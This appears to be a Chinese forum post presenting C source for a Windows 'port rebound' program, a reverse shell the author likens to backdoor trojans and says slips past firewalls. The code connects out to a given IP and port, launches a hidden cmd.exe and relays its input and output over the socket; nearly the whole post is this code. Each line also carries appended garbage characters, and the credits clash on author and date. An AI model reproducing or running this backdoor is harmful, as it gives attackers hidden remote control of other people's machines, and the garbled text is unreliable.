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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iY/2 `R  
%CHw+wT&  
/* ============================== jzV"(p!  
Rebound port in Windows NT 0YFXF  
By wind,2006/7 3[u- LYW  
===============================*/ lo>9 \ Po  
#include F}So=Jz9h  
#include ]6B9\C.2-_  
^}Vc||S  
#pragma comment(lib,"wsock32.lib") neM.M)0  
c`;oV-f  
void OutputShell(); ~'lT8 n_  
SOCKET sClient; IOZw[9](+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ztmh z_u7  
=!q]0#  
void main(int argc,char **argv) Uap0O2n  
{ _jG|kjFTc  
WSADATA stWsaData; buX(mj:&  
int nRet; Zb=NcEPGy  
SOCKADDR_IN stSaiClient,stSaiServer; J[:#(c&c!1  
-c&=3O!  
if(argc != 3) 9Of;8R  
{ `{!A1xKZ  
printf("Useage:\n\rRebound DestIP DestPort\n"); Hi={(Z5tC4  
return; SX"|~Pi(  
} uX_#NP/2  
B-N//ef}  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8c.>6 Hy  
> f X^NX  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K+vD&Z^  
y\^zxG*]'  
stSaiClient.sin_family = AF_INET; bK%F_v3'  
stSaiClient.sin_port = htons(0); #ae?#?/"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); N62;@Z\7  
aInt[D(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~|Vq v{  
{ 1rZ E2  
printf("Bind Socket Failed!\n"); KsOSPQDGE  
return; )!27=R/  
} 2*V%S/cck  
LRHod1}mS  
stSaiServer.sin_family = AF_INET; +h"i6`g  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "qq$i35x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T+Re1sPr?  
> Hv9Xz  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]7_>l>  
{ Hj>9#>b  
printf("Connect Error!"); M}o.= Iqa  
return; zNX=V!$  
} #a=]h}&1?  
OutputShell(); 4j3_OUwWZx  
} ivgX o'=  
I[&x-}w  
void OutputShell() 8(4!x$,Z5  
{ .5; JnJI  
char szBuff[1024]; Pr} l y  
SECURITY_ATTRIBUTES stSecurityAttributes; =? !FO'zt"  
OSVERSIONINFO stOsversionInfo; (E0WZ $f}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; k_}$d{X  
STARTUPINFO stStartupInfo; $V 3If  
char *szShell; <lFHmi$qt{  
PROCESS_INFORMATION stProcessInformation; esTL3 l{[  
unsigned long lBytesRead; t#P7'9Se8  
C '[4jz0xF  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); aQmS'{d?^  
CrI<rD%'  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &'12,'8  
stSecurityAttributes.lpSecurityDescriptor = 0; _DSDY$Ec  
stSecurityAttributes.bInheritHandle = TRUE; Zuzwc[Z1  
T%%EWa<a  
EwzcB\m  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3\Xk)a_  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }Y7P2W+4?  
_qPKdGoM  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]zj#X\  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 17'd~-lE  
stStartupInfo.wShowWindow = SW_HIDE; t8RtJ2;  
stStartupInfo.hStdInput = hReadPipe; S Yi!%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X$;x2mz nM  
/95z1e  
GetVersionEx(&stOsversionInfo); !QVhP+l'H  
).jQ+XE'>  
switch(stOsversionInfo.dwPlatformId) !:\0}w$-  
{ ef*Z;HI0  
case 1: }OIe!  
szShell = "command.com"; tF,`v{-up  
break; g0B-<>E  
default: tb?TPd-OY  
szShell = "cmd.exe"; @:w^j0+h  
break; SN"Y@y)=  
} Mo3%OR  
[gUD +  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |s/Kb]t  
r(wf>w3  
send(sClient,szMsg,77,0); 40=u/\/K  
while(1) O\Y*s  
{ 3. dSS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w|G7h=  
if(lBytesRead) yH:p*|%:  
{ ih)\P0wed  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >{Ayzz>v  
send(sClient,szBuff,lBytesRead,0); 38&K"  
} #7H0I8  
else x$jLB&+ICz  
{ pWE(?d_M{G  
lBytesRead=recv(sClient,szBuff,1024,0); rCqwJoC`v  
if(lBytesRead<=0) break; a\m=E#G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =4+2y '  
} 'J*'{  
} +(x(Ybl#  
U^[AW$WzU  
return; i;~.kgtq4  
}
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